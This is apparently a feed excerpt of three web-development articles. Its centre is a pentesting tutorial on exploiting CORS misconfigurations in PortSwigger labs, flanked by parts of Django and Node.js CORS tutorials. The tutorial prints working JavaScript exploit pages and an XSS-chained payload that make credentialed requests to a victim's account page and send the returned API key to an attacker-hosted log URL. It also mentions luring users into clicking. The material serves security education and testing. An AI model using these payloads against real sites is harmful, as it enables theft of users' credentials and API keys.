<h2 id="heading-common-errors-and-how-to-fix-them">Common Errors (And How to Fix Them)</h2>
<h3 id="heading-1-cors-not-working-at-all">1. CORS Not Working At All?</h3>
<p>Double check:</p>
<ul>
<li><p>You added <code>corsheaders.middleware.CorsMiddleware</code> it <strong>at the top</strong> of the middleware list.</p>
</li>
<li><p>Your frontend origin matches exactly, including port and protocol.</p>
</li>
<li><p>You restarted your server after changing the settings.</p>
</li>
</ul>
<h3 id="heading-2-preflight-request-fails-options-method">2. Preflight Request Fails (OPTIONS method)</h3>
<p>Sometimes your browser sends an <code>OPTIONS</code> request first to check if the server will allow the real request. Make sure your views or Django setup allow that method, or Django will return a 405 error.</p>
<p>You don’t usually need to do anything here unless you’re using a custom middleware or view decorator that blocks it.</p>
<h3 id="heading-3-using-django-rest-framework">3. Using Django Rest Framework?</h3>
<p>No problem – <code>django-cors-headers</code> works out of the box. Just make sure it’s installed and the middleware is set up correctly.</p>
<h2 id="heading-faqs">FAQs</h2>
<h3 id="heading-can-i-allow-multiple-frontend-urls"><strong>Can I allow multiple frontend URLs?</strong></h3>
<p>Yes! Just add more items to the list:</p>
<pre><code class="lang-python">CORS_ALLOWED_ORIGINS = [
    <span class="hljs-string">"http://localhost:3000"</span>,
    <span class="hljs-string">"https://myfrontend.com"</span>,
]
</code></pre>
<h3 id="heading-does-cors-affect-local-development-only"><strong>Does CORS affect local development only?</strong></h3>
<p>No, it applies in production too. Any time your frontend and backend are on different origins (different domain or port), you need to handle CORS.</p>
<h3 id="heading-is-it-secure-to-allow-all-origins"><strong>Is it secure to allow all origins?</strong></h3>
<p>No. Only do that temporarily during development. Always restrict access in production to just the domains you trust.</p>
<h3 id="heading-do-i-need-to-change-anything-on-the-frontend"><strong>Do I need to change anything on the frontend?</strong></h3>
<p>Sometimes. If you're sending credentials (like cookies), you’ll need to set <code>credentials: "include"</code> in your fetch or Axios requests.</p>
<p>Example with fetch:</p>
<pre><code class="lang-js">fetch(<span class="hljs-string">"http://localhost:8000/api/data"</span>, {
  <span class="hljs-attr">method</span>: <span class="hljs-string">"GET"</span>,
  <span class="hljs-attr">credentials</span>: <span class="hljs-string">"include"</span>,
})
</code></pre>
<h2 id="heading-final-thoughts">Final Thoughts</h2>
<p>CORS can feel like a wall you keep running into when building web apps. But once you get the hang of how it works – and how to set it up in Django – it becomes a small thing you configure and move on.</p>
<p>Just remember:</p>
<ul>
<li><p>Be specific in production</p>
</li>
<li><p>Always restart the server after changes</p>
</li>
<li><p>Don’t ignore warnings in your browser console – they’re your friends</p>
</li>
</ul>
<p>Now you know how to enable CORS in Django the right way.</p>
<h3 id="heading-further-resources">Further Resources</h3>
<ul>
<li><p><a target="_blank" href="https://github.com/adamchainz/django-cors-headers">django-cors-headers GitHub page</a> – for full documentation.</p>
</li>
<li><p><a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS">MDN CORS Overview</a> – to understand how CORS works under the hood.</p>
</li>
<li><p><a target="_blank" href="https://docs.djangoproject.com/en/stable/topics/http/middleware/">Official Django Middleware Docs</a></p>
</li>
</ul>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Exploiting CORS – How to Pentest Cross-Origin Resource Sharing Vulnerabilities ]]>
                </title>
                <description>
                    <![CDATA[ All web browsers implement a security model known as the Same-Origin Policy (SOP). It restricts domains from accessing and retrieving data from other domains’ resources.  The SOP policy helps protect users from malicious scripts that could access the... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/exploiting-cors-guide-to-pentesting/</link>
                <guid isPermaLink="false">66bb8a4ac332a9c775d15b5f</guid>
                
                    <category>
                        <![CDATA[ Application Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ CORS ]]>
                    </category>
                
                    <category>
                        <![CDATA[ penetration testing ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Nairuz Abulhul ]]>
                </dc:creator>
                <pubDate>Thu, 09 Mar 2023 16:25:31 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2023/03/possessed-photography-_E1PQXKUkMw-unsplash--4-.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>All web browsers implement a security model known as the <strong>Same-Origin Policy (SOP)</strong>. It restricts domains from accessing and retrieving data from other domains’ resources. </p>
<p>The SOP policy helps protect users from malicious scripts that could access their sensitive data or perform unauthorized actions on their behalf.</p>
<p>For example, if <code>**business.com**</code> tries to make an HTTP request to <code>**metrics.com**</code>, the browser, by default, will block the request because it comes from a different domain.</p>
<p>As much as the SOP sounds like a proper protection policy, it doesn’t scale well in today’s technologies that depend on each other for operation. For example, it presents challenges to APIs and microservices which have legitimate use cases for accessing and sharing information between domains.</p>
<p>Because of cases like this, there was a need for a new security mechanism that would allow for cross-domain interactions. It's known as <strong>Cross-Origin Resource Sharing (CORS)</strong>.</p>
<p>This article will cover the basics of how CORS works and identify common vulnerabilities that can occur when you don't implement CORS correctly. We will also learn how to test and exploit the misconfigurations so that by the end of this guide, you will have a better understanding of how to test and validate for CORS during a pentest assessment.</p>
<p>I will use the Port Swigger CORS labs to demonstrate the testing and exploitation steps.</p>
<h2 id="heading-table-of-contents">Table of Contents</h2>
<ul>
<li><a class="post-section-overview" href="#heading-what-is-cross-site-origin-policy-cors">What is Cross-Site Origin Policy (CORS)?</a></li>
<li><a class="post-section-overview" href="#heading-impact-of-cors-misconfigurations">Impact of CORS Misconfigurations</a></li>
<li><a class="post-section-overview" href="#heading-how-to-identify-cors">How to Identify CORS</a></li>
<li><a class="post-section-overview" href="#heading-exploitable-cors-cases">Exploitable Cases</a></li>
<li><a class="post-section-overview" href="#heading-unexploitable-case-wild-card">Unexploitable Case</a></li>
<li><a class="post-section-overview" href="#heading-mitigations">Mitigations</a></li>
<li><a class="post-section-overview" href="#heading-resources">Resources</a></li>
</ul>
<h2 id="heading-what-is-cross-site-origin-policy-cors">What is Cross-Site Origin Policy (CORS)?</h2>
<p><strong>CORS</strong> is a security feature created to selectively relax the SOP restrictions and enable controlled access to resources from different domains. CORS rules allow domains to specify which domains can request information from them by adding specific HTTP headers in the response.</p>
<p>There are several HTTP headers related to CORS, but we are interested in the two related to the commonly seen vulnerabilities — <code>**Access-Control-Allow-Origin**</code> and <code>**Access-Control-Allow-Credentials**</code><strong>.</strong></p>
<p><strong>Access-Control-Allow-Origin:</strong> This header specifies the allowed domains to read the response contents. The value can be either a wildcard character <code>**(*)**</code>, which indicates all domains are allowed, or a comma-separated list of domains.</p>
<pre><code>#All domain are allowed
Access-Control-Allow-Origin: *   


#comma-separated list <span class="hljs-keyword">of</span> domains
Access-Control-Allow-Origin: example.com, metrics.com
</code></pre><p><strong>Access-Control-Allow-Credentials</strong>: This header determines whether the domain allows for passing credentials — such as cookies or authorization headers in the cross-origin requests.</p>
<p>The value of the header is either True or False. If the header is set to “true,” the domain allows sending credentials. If it is set to “false,” or not included in the response, then it is not allowed.</p>
<pre><code>#allow passing credenitals <span class="hljs-keyword">in</span> the requests
Access-Control-Allow-Credentials: <span class="hljs-literal">true</span>

#Disallow passing <span class="hljs-keyword">in</span> the requests
Access-Control-Allow-Credentials: <span class="hljs-literal">false</span>
</code></pre><h2 id="heading-impact-of-cors-misconfigurations">Impact of CORS Misconfigurations</h2>
<p>CORS misconfigurations can have a significant impact on the security of web applications. Below are the main implications:</p>
<ul>
<li><strong>Data Theft:</strong> Attackers can use CORS vulnerabilities to steal sensitive data from applications like API keys, SSH keys, Personal identifiable information (PII), or users’ credentials.</li>
<li><strong>Cross-Site Scripting (XSS)</strong>: Attackers can use CORS vulnerabilities to perform XSS attacks by injecting malicious scripts into web pages to steal session tokens or perform unauthorized actions on behalf of the user.</li>
<li><strong>Remote Code Execution</strong> in some cases (<a target="_blank" href="https://quitten.github.io/StackStorm/">StackStorm case</a>)</li>
</ul>
<h2 id="heading-how-to-identify-cors">How to Identify CORS</h2>
<p>When testing an application for CORS, we check if any of the application’s responses contain the CORS headers. We can use the search functionality in Burp Suite to search for the headers quickly.</p>
<p>In the example below, I searched for the <code>**Access-Control-Allow-Credentials**</code> header and got three (3) responses back. Once the headers are identified, we can select the requests and send them to Repeater for further analysis.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:1678/1*73ksv0ZrBWRf8dQZ7TliOg.png" alt="Image" width="1017" height="695" loading="lazy"></p>
<p><img src="https://miro.medium.com/v2/resize:fit:1574/1*FVD7mLNMgvsdWa5XVV9MSA.png" alt="Image" width="954" height="704" loading="lazy">
<em>Figures 1 &amp; 2 show the search functionality in Burp Suite to look for CORS headers.</em></p>
<p>To identify CORS issues, we can modify the Origin header in the requests with multiple values and see what response headers we get back from the application. There are four (4) known ways to do this, which we'll go over now.</p>
<h3 id="heading-1-reflected-origins">1. Reflected Origins</h3>
<p>Set the Origin header in the request to an arbitrary domain, such as <code>[**https://attackersdomain.com**](https://attackersdomain.com./)</code>, and check the <code>**Access-Control-Allow-Origin**</code> header in the response. If it reflects the exact domain you supplied in the request, it means the domain doesn’t filter for any origins.</p>
<p>The risk of this misconfiguration is high if the domain allows for credentials to be passed in the requests. We can validate that by checking if the <code>**Access-Control-Allow-Credentials**</code> header is also included in the response and is set to <code>**true**</code>.</p>
<p>However, the risk is low if passing credentials is not allowed, as the browser will not process the responses from authenticated requests.</p>
<p>📌 To exploit reflected origins, check the exploitation section — Case #1.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:1155/1*pKnCmYc30pYH0jyBFhmcDw.png" alt="Figure 3 — shows the value of the Origin header included in the Access-Control-Allow-Origin header. r3dbuck3t #cors #websecurity" width="1049" height="580" loading="lazy">
<em>Figure 3 — shows the value of the Origin header included in the Access-Control-Allow-Origin header.</em></p>
<h3 id="heading-2-modified-origins">2. Modified Origins</h3>
<p>Set the Origin header to a value that matches the targeted domain, but add a prefix or suffix to the domain to check if there is any validation on the beginnings or ends of the domain.</p>
<p>If no checks are in place, we can create a similar matching domain that bypasses the CORS policy on the targeted domain. For example, adding a prefix or suffix to the <code>**metrics.com**</code> domain would be something like <code>**attackmetrics.com**</code> or <code>**metrics.com.attack.com**</code>.</p>
<p>The risk of this misconfiguration is considered high if the domain allows for passing credentials with the <code>**Access-Control-Allow-Credentials**</code> header set to <strong>true</strong>. The attacker can create a similar matching domain and retrieve sensitive information from the targeted domain.</p>
<p>But the risk would be low if authenticated requests were not allowed.</p>
<p>📌To exploit modified origins, check the exploitation section — Case #1.</p>
<h3 id="heading-3-trusted-subdomains-with-insecure-protocol">3. Trusted subdomains with Insecure Protocol.</h3>
<p>Set the Origin header to an existing subdomain and see if it accepts it. If it does, it means the domain trusts all its subdomains. This is not a good idea because if one of the subdomains has a Cross-Site Scripting (XSS) vulnerability, it will allow the attacker to inject a malicious JS payload and perform unauthorized actions.</p>
<p>This misconfiguration is considered high risk if the domain accepts subdomains with an insecure protocol, such as HTTP, and the credential header is set to true. Otherwise, it will not be exploitable and would be only a poor CORS implementation.</p>
<p>📌 To exploit trusted subdomains, check the exploitation section — Case #3.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:1155/1*XDNb4TzErgfuuQzqYUv12w.png" alt="Figure 4 — shows the application accepts arbitrary insecure subdomains. https://medium.com/r3d-buck3t — #cors #websecurity #web" width="1155" height="493" loading="lazy">
<em>Figure 4 — shows the application accepts arbitrary insecure subdomains.</em></p>
<h3 id="heading-4-null-origin">4. Null Origin</h3>
<p>Set the Origin header to the null value — <code>**Origin: null**</code>, and see if the application sets <code>**the Access-Control-Allow-Origin**</code> header to null. If it does, it means that null origins are whitelisted.</p>
<p>The risk level is considered high if the domain allows for authenticated requests with the <code>**Access-Control-Allow-Credentials**</code> header set to <code>**true**</code><strong>.</strong></p>
<p>But if it does not, then the issue is considered low, and not exploitable.</p>
<p>📌 To exploit Null Origins, check the exploitation section- Case #2.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:1155/1*jyqdCfY0J_s0ebH50WrIhA.png" alt="Figure 5 — shows the application accepted the null value and returned it in the response. #pentesting #cors #bugbounty https://medium.com/r3d-buck3t" width="1155" height="657" loading="lazy">
<em>Figure 5 — shows the application accepted the null value and returned it in the response.</em></p>
<h2 id="heading-exploitable-cors-cases">Exploitable CORS Cases</h2>
<p>In this section, we will go over how to exploit the CORS misconfigurations by categorizing them into test cases for easy understanding.</p>
<h3 id="heading-case-1-reflected-origin">Case 1: Reflected Origin</h3>
<p>The application is considered vulnerable when it sets the <strong>Access-Control-Allow-Origin</strong> to the attacker’s supplied domain and enables passing credentials with the <strong>Access-Control-Allow-Credentials</strong> set to true.</p>
<pre><code>Access-Control-Allow-Origin: http:<span class="hljs-comment">//attacker-domain.com</span>
Access-Control-Allow-Credentials: <span class="hljs-literal">true</span>
</code></pre><p><img src="https://miro.medium.com/v2/resize:fit:1155/1*pKnCmYc30pYH0jyBFhmcDw.png" alt="Figure 3 — shows the value of the Origin header included in the Access-Control-Allow-Origin header. r3dbuck3t #cors #websecurity" width="1049" height="580" loading="lazy">
<em>Figure 6 — shows the CORS headers for reflected origin.</em></p>
<p>The exploitation requires the attacker to host the JS script on an external server to be accessible to the user. Then they have to create an HTML page, embed the JS script below, and send it to the user.</p>
<pre><code>&lt;html&gt;
  <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span>

    #Initialize the XMLHttpRequest object, and the application URL vairable 
        var req = new XMLHttpRequest();
        var url = ("APPLICATION URL");

    #MLHttpRequest object loads, exectutes reqListener() function
      req.onload = retrieveKeys;

    #Make GET request to the application accounDetails location
        req.open('GET', url + "/accountDetails",true);

    #Allow passing credentials with the requests
    req.withCredentials = true;

    #Send the request 
        req.send(null);

    function retrieveKeys() {
            location='/log?key='+this.responseText;
        };

  <span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span></span>
</code></pre><p>Once the user visits your hosted page, it will automatically submit a CORS request to retrieve information about the user from the location specified in the script. Understanding the application structure and where it stores its sensitive information is essential for this step.</p>
<p>The above script starts with initializing the <code>**XMLHttpRequest**</code> (XHR) object to instruct the web browser that we will transfer data to and from a web server using the HTTP protocol. XHR is a browser API that allows client-side scripting languages such as JavaScript to make HTTP requests to a server and receive their responses dynamically without requiring the user to refresh the page.</p>
<p>Then, we instruct the object to execute a function called <strong><code>retrieveKeys</code></strong> that fetches the admin API key and sends the response to us when it loads.</p>
<p>Next, we make a GET request specifying the location from which we want to retrieve information and pass our credentials with the <code>Credentials</code> function set to true.</p>
<p>The request will automatically get blocked and denied if the application server doesn’t allow passing credentials between domains. But we know that this won’t happen here because the <code>**access-Control-Allow-Credentials**</code> is set to true.</p>
<p>To demonstrate how the script works, I’ll use the exploit server PortSwigger has available with the lab to host the above script.</p>
<p>Login into the application, click the <strong>“Go to exploit server,”</strong> and paste the script in the body. Then click on “<strong>Deliver exploit to victim.”</strong> In a real scenario, you need to send the link to the user and try to entice them to click it.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:1505/1*hIfdCKiIogCOquzGVz686w.png" alt="Image" width="912" height="663" loading="lazy"></p>
<p><img src="https://miro.medium.com/v2/resize:fit:1888/1*svwpXxlVZpxpqiRQV8u_hg.png" alt="Image" width="1144" height="628" loading="lazy">
<em>Figures 7 &amp; 8 — show the process of hosting the JS payload and delivering it to the user.</em></p>
<p>After delivering the exploit, click on <strong>“Access log”</strong> and you should be able to see the captured admin’s API key in the logs. Copy the string that has the key and paste into Burp Suite <strong>Decoder</strong> and decode it as a URL to retrieve the cleartext value.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:2584/1*2zq3p_IKD032TRHZdZPURA.png" alt="Image" width="1566" height="566" loading="lazy"></p>
<p><img src="https://miro.medium.com/v2/resize:fit:1787/1*5NNTx2nk9eLKT1fATokzCw.png" alt="Image" width="1083" height="634" loading="lazy">
<em>Figures 9 &amp; 10 — show the admin API key in the logs and the plain text key value on Decoder.</em></p>
<h3 id="heading-case-2-null-origin">Case 2: Null Origin</h3>
<p>The application is considered vulnerable when it sets the <strong>Access-Control-Allow-Origin</strong> to the null value and enables passing credentials with the <strong><code>Access-Control-Allow-Credentials</code></strong> set to <strong>true.</strong></p>
<pre><code>Access-Control-Allow-Origin: <span class="hljs-literal">null</span>
Access-Control-Allow-Credentials: <span class="hljs-literal">true</span>
</code></pre><p><img src="https://miro.medium.com/v2/resize:fit:1155/1*jyqdCfY0J_s0ebH50WrIhA.png" alt="Figure 5 — shows the application accepted the null value and returned it in the response. #pentesting #cors #bugbounty https://medium.com/r3d-buck3t" width="1155" height="657" loading="lazy">
<em>Figure 11 — shows the application server accepts null origins.</em></p>
<p>The exploitation requires us to host the JS script file to be accessible to the targeted user (<em>same as in case #1</em>). Again, we will use the same script – just this time, we will add an iframe sandbox to retrieve the API key. The sandbox property sets the frame’s origin to null so that we can set the Origin header to the null value.</p>
<pre><code>&lt;html&gt;
    <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">iframe</span> <span class="hljs-attr">style</span>=<span class="hljs-string">"display: none;"</span> <span class="hljs-attr">sandbox</span>=<span class="hljs-string">"allow-scripts"</span> <span class="hljs-attr">srcdoc</span>=<span class="hljs-string">"
        &lt;script&gt;
            var req = new XMLHttpRequest();
            var url = 'APPLICATION URL'
            req.onload = retrieveKeys;

            req.open('GET', url + '/accountDetails', true);
            req.withCredentials = true;
            req.send(null);

           function retrieveKeys() {
               fetch('https://Exolit_Server_Hostname/log?key=' + req.responseText)
            }
        &lt;/script&gt;"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">iframe</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span></span>
&lt;/html&gt;
</code></pre><p>When the authenticated user clicks on our link <code>[**http://192.168.1.14:5555/cors_null_poc.html**](http://192.168.1.14:5555/cors_null_poc.html.)</code>, we will get the API key from the account details. But since our user is not an admin, we won’t be able to retrieve the admin API key.</p>
<p>The point of showing the below steps is that during a web application testing assessment, as a tester, you would be given admin and regular user accounts to test with them. In those cases, you follow the below steps to show your proof of concept through hosting the file locally. Or, of course, you can host the file externally as an alternative option.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:2412/1*a4Qtndhg7lDtOUriDT6CWA.png" alt="Image" width="1462" height="622" loading="lazy"></p>
<p><img src="https://miro.medium.com/v2/resize:fit:1916/1*MgEzSTxHOyF2oZQ1yNftnQ.png" alt="Image" width="1161" height="691" loading="lazy">
_Figures 12 &amp; 13 — show null value is added to the request header, and the user accessed the cors_null<em>poc page.</em></p>
<p><img src="https://miro.medium.com/v2/resize:fit:1155/1*ppYb-xcA4Fx-Doh3vw62HQ.png" alt="Figure 14 — shows the user’s account details when clicking the link. https://medium.com/r3d-buck3t #cors #web #pentesting" width="1155" height="388" loading="lazy">
<em>Figure 14 — shows the user’s account details when clicking the link.</em></p>
<h3 id="heading-case-3-trusted-subdomains">Case 3: Trusted Subdomains</h3>
<p>The application is considered vulnerable when it sets the <strong>Access-Control-Allow-Origin</strong> to any of its subdomains and allows credentials with <strong>Access-Control-Allow-Credentials</strong> set to <strong>true.</strong></p>
<p>The exploitation of this case is dependent on whether the existing subdomain is vulnerable to XSS vulnerability to enable the attacker to abuse the misconfiguration.</p>
<pre><code>Access-Control-Allow-Origin: subdomainattacker.example.com
Access-Control-Allow-Credentials: <span class="hljs-literal">true</span>
</code></pre><p><img src="https://miro.medium.com/v2/resize:fit:1155/1*a-Fvk06eJoyL-9W9Oo5lvQ.png" alt="Figure 15 — shows the domain accepts its subdomains’ origins. https://medium.com/r3d-buck3t #cors #web #pentesting #hacking" width="1155" height="523" loading="lazy">
<em>Figure 15 — shows the domain accepts its subdomains’ origins.</em></p>
<p>If you encounter this scenario, you need to check all the existent subdomains and try to find one with an XSS vulnerability to exploit it.</p>
<p>In the Port Swigger lab #3, the application trusts its subdomain — <strong>stock</strong> — that is vulnerable to XSS vulnerability in the <code>**ProductId=**</code> parameter.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:2082/1*HBCf3Iwa82ZAB0Frlll_pA.png" alt="Image" width="1262" height="515" loading="lazy"></p>
<p><img src="https://miro.medium.com/v2/resize:fit:2023/1*vqSoc_DI8kjbJTx-aF2DBg.png" alt="Image" width="1226" height="495" loading="lazy">
<em>Figures 16 &amp; 17 — show the stocks subdomain vulnerable to XSS in the ProductId parameter.</em></p>
<p>We will use the same script to exploit this case, except we will add the location where we inject the payload using the <code>**document.location**</code> function. Then we format the payload to be a one-liner payload so that we can pass it in the parameter.</p>
<pre><code>&lt;script&gt;
    <span class="hljs-built_in">document</span>.location=<span class="hljs-string">"http://subdomain.domain.com/?productId=&lt;script&gt;
    &lt;script&gt;
       var req = new XMLHttpRequest();
       req.onload = retrieveKeys;
       req.open('GET', "</span>APPLICATION URL/accountDetails<span class="hljs-string">",true);
       req.withCredentials = true;
       req.send(null);

       function retrieveKeys() {
            location='https://Exolit_Server_Hostname/log?key='+this.responseText;
        };

  &lt;/script&gt; 
      &lt;/script&gt;</span>
</code></pre><p>After that, we save the script as <code>**cors_poc.html**</code><strong>,</strong> host it on our server, and send the link to the user.</p>
<pre><code>&lt;html&gt;
<span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
    <span class="hljs-built_in">document</span>.location=<span class="hljs-string">"http://Insecure-subdomain/?productId=&lt;script&gt;var req = new XMLHttpRequest(); req.onload = retrieveKeys; req.open('get','APPLICATION URL/accountDetails',true); req.withCredentials = true;req.send();function retrieveKeys() {location='https://exploit-0a110003034945dec57758a8018500a8.exploit-server.net/log?key='%2bthis.responseText; };%3c/script&gt;&amp;storeId=1"</span>
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span></span>
&lt;/html&gt;
</code></pre><p>As you can see below in the screenshots, when the user accessed the link, the script injected the payload in the <code>**productId**</code> parameter and retrieved the API key.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:2454/1*bQu-QJBOmrH_DynC_VNbeg.png" alt="Image" width="1487" height="595" loading="lazy"></p>
<p><img src="https://miro.medium.com/v2/resize:fit:2531/1*-j8W-uY7yk-UmYol1cBzqg.png" alt="Image" width="1534" height="603" loading="lazy"></p>
<p><img src="https://miro.medium.com/v2/resize:fit:1957/1*NiWGBfvbWHT8Y47BuVrJ0w.png" alt="Image" width="1186" height="580" loading="lazy">
<em>Figures 18, 19 &amp; 20 — show injecting the XSS payload and capturing the APi key in action.</em></p>
<h2 id="heading-unexploitable-case-wild-card">Unexploitable Case: Wild Card (*)</h2>
<p>The application is NOT vulnerable when the <strong>Access-Control-Allow-Origin</strong> is set to wildcard <code>*****</code> , even if the <strong>Access-Control-Allow-Credentials</strong> header is set to true. </p>
<p>This is because there is a safety check in place that disables the Allow-Credentials header when the origin is set to a wildcard.</p>
<h2 id="heading-mitigations">Mitigations</h2>
<ul>
<li>Implement proper CORS headers: The server can add appropriate CORS headers to allow cross-origin requests from only trusted sites.</li>
<li>Restrict access to sensitive data: It is important to restrict access to sensitive data to only trusted domains. This can be done by implementing access control measures such as authentication and authorization.</li>
</ul>
<h2 id="heading-wrapping-up">Wrapping Up</h2>
<p>In this tutorial, we have covered the basics of CORS as a security feature that prevents web pages from making unauthorized requests to different domains. </p>
<p>We also covered the standard CORS testing techniques for detecting and exploiting CORS misconfigurations with tools like Burp Suites and Chrome DevTools.</p>
<p>By implementing and testing CORS correctly, web developers can ensure their web applications are secure and avoid misconfigurations that let attackers access unauthorized resources and compromise the application's security.</p>
<h3 id="heading-resources">Resources</h3>
<ul>
<li><a target="_blank" href="https://ranakhalil.teachable.com/p/web-security-academy-video-series">https://ranakhalil.teachable.com/p/web-security-academy-video-series</a></li>
<li><a target="_blank" href="https://www.trustedsec.com/blog/cors-findings/">https://www.trustedsec.com/blog/cors-findings/</a></li>
<li><a target="_blank" href="https://www.we45.com/post/3-ways-you-can-exploit-cors-misconfigurations">https://www.we45.com/post/3-ways-you-can-exploit-cors-misconfigurations</a></li>
<li><a target="_blank" href="https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/">https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/</a></li>
</ul>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Authenticate Users and Implement CORS in Node.js Apps ]]>
                </title>
                <description>
                    <![CDATA[ In this tutorial, you will learn how to authenticate users and secure endpoints in Node.js. You'll also see how to implement Cross-Origin Resource Sharing (CORS) in Node. So let's get started. Prerequisites You'll need the following to follow along w... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-authenticate-users-and-implement-cors-in-nodejs-applications/</link>
                <guid isPermaLink="false">66b905d1e8c4e204927a90ea</guid>
                
                    <category>
                        <![CDATA[ authentication ]]>
                    </category>
                
                    <category>
                        <![CDATA[ authorization ]]>
                    </category>
                
                    <category>
                        <![CDATA[ CORS ]]>
                    </category>
                
                    <category>
                        <![CDATA[ node ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Idris Olubisi ]]>
                </dc:creator>
                <pubDate>Tue, 06 Jul 2021 16:02:13 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2021/06/Screenshot-2021-06-27-at-00.10.45.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>In this tutorial, you will learn how to authenticate users and secure endpoints in Node.js. You'll also see how to implement Cross-Origin Resource Sharing (CORS) in Node. So let's get started.</p>
<h3 id="heading-prerequisites">Prerequisites</h3>
<p>You'll need the following to follow along with this tutorial: </p>
<ul>
<li>A working understanding of JavaScript.</li>
<li>A good understanding of Node.js.</li>
<li>A working knowledge of MongoDB or another database of your choice.</li>
<li><a target="_blank" href="https://www.postman.com/">Postman</a> and a basic understanding of how it works.</li>
</ul>
<p>Before we jump into the main part of the article, let's define some terms so we're all on the same page.</p>
<h2 id="heading-what-is-authentication">What is Authentication?</h2>
<p>Authentication and authorization may seem like the same thing. But there's a big difference between getting into a house (authentication) and what you can do once you're there (authorization).</p>
<p>Authentication is the process of confirming a user's identity by obtaining credentials and using those credentials to validate their identity. If the certificates are valid, the authorization procedure begins.</p>
<p>You are probably already familiar with the authentication process, because we all go through it daily – whether at work (logging onto your computer) or at home (passwords or logging into a website). In fact, most "things" connected to the Internet require you to provide credentials to prove your identity.</p>
<h2 id="heading-what-is-authorization">What is Authorization?</h2>
<p>Authorization is the process of granting authenticated users access to resources by verifying whether they have system access permissions or not. It also allows you to restrict access privileges by granting or denying specific licenses to authenticated users.</p>
<p>After the system authenticates your identity, authorization occurs, providing you full access to resources such as information, files, databases, finances, locations, and anything else. </p>
<p>This approval impacts your ability to access the system and the extent to which you can do so.</p>
<h2 id="heading-what-is-cross-origin-resource-sharing-cors">What is Cross-Origin Resource Sharing (CORS)?</h2>
<blockquote>
<p><a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS">CORS</a> is an HTTP header-based system that allows a server to specify any other origins (domain, scheme, or port) from which a browser should enable resources to be loaded other than its own. </p>
</blockquote>
<p>CORS also uses a system in which browsers send a "preflight" request to the server hosting the cross-origin help to ensure that it will allow the actual request.</p>
<p>We will be using the JSON web token standard to represent claims between two parties</p>
<h2 id="heading-what-are-json-web-tokens-jwt">What are JSON Web Tokens (JWT)?</h2>
<blockquote>
<p>JSON Web Tokens (JWT) are an open industry standard defined by RFC 7519 used to represent claims between two parties. <a target="_blank" href="https://jwt.io/introduction">jwt.io</a> </p>
</blockquote>
<p>You can use <a target="_blank" href="https://jwt.io">jwt.io</a> to decode, verify, and create JWTs, for example.</p>
<p>JWT defines a concise and self-contained way of exchanging information between two parties as a JSON object. You can review and trust this information because it is signed. </p>
<p>JWTs can be signed with a secret (using the HMAC algorithm) or a public/private key pair from RSA or ECDSA. We'll see some examples of how to use them in a bit.</p>
<p>Let's get started.</p>
<h2 id="heading-how-to-use-a-token-for-authentication-in-nodejs-development">How to Use a Token for Authentication in Node.js Development</h2>
<p>To get started, first we'll need to set up our project.</p>
<p>Navigate to a directory of your choice on your machine and open it in the terminal to launch Visual Studio Code.</p>
<p>Then execute:</p>
<pre><code class="lang-bash">code.
</code></pre>
<blockquote>
<p><strong>Note</strong>: If you don't have Visual Studio Code installed on your computer, <code>code .</code>  won't work. Just make sure you have it installed before trying this command.</p>
</blockquote>
<h3 id="heading-how-to-create-a-directory-and-set-it-up-with-npm">How to Create a Directory and Set it Up with <code>npm</code></h3>
<p>Create a directory and initialize <code>npm</code> by typing the following command:</p>
<ul>
<li>In Windows power shell:</li>
</ul>
<pre><code class="lang-bash">mkdir cors-auth-project

<span class="hljs-built_in">cd</span> cors-auth-project

npm init -y
</code></pre>
<ul>
<li>In Linux:</li>
</ul>
<pre><code class="lang-bash">mkdir cors-auth-project

<span class="hljs-built_in">cd</span> cors-auth-project

npm init -y
</code></pre>
<h3 id="heading-how-to-create-files-and-directories">How to Create Files and Directories</h3>
<p>In the previous step, we initialized npm with the command <code>npm init -y</code>, which automatically created a package.json file.</p>
<p>We will create the <code>model</code>, <code>middleware</code>, and <code>config</code> directories and their files, for example, <code>user.js</code>, <code>auth.js</code>, <code>database.js</code> using the commands below.</p>
<pre><code class="lang-bash">mkdir model middleware config

touch config/database.js middleware/auth.js model/user.js
</code></pre>
<p>We can now create the <code>index.js</code> and <code>app.js</code> files in the root directory of our project with this command:</p>
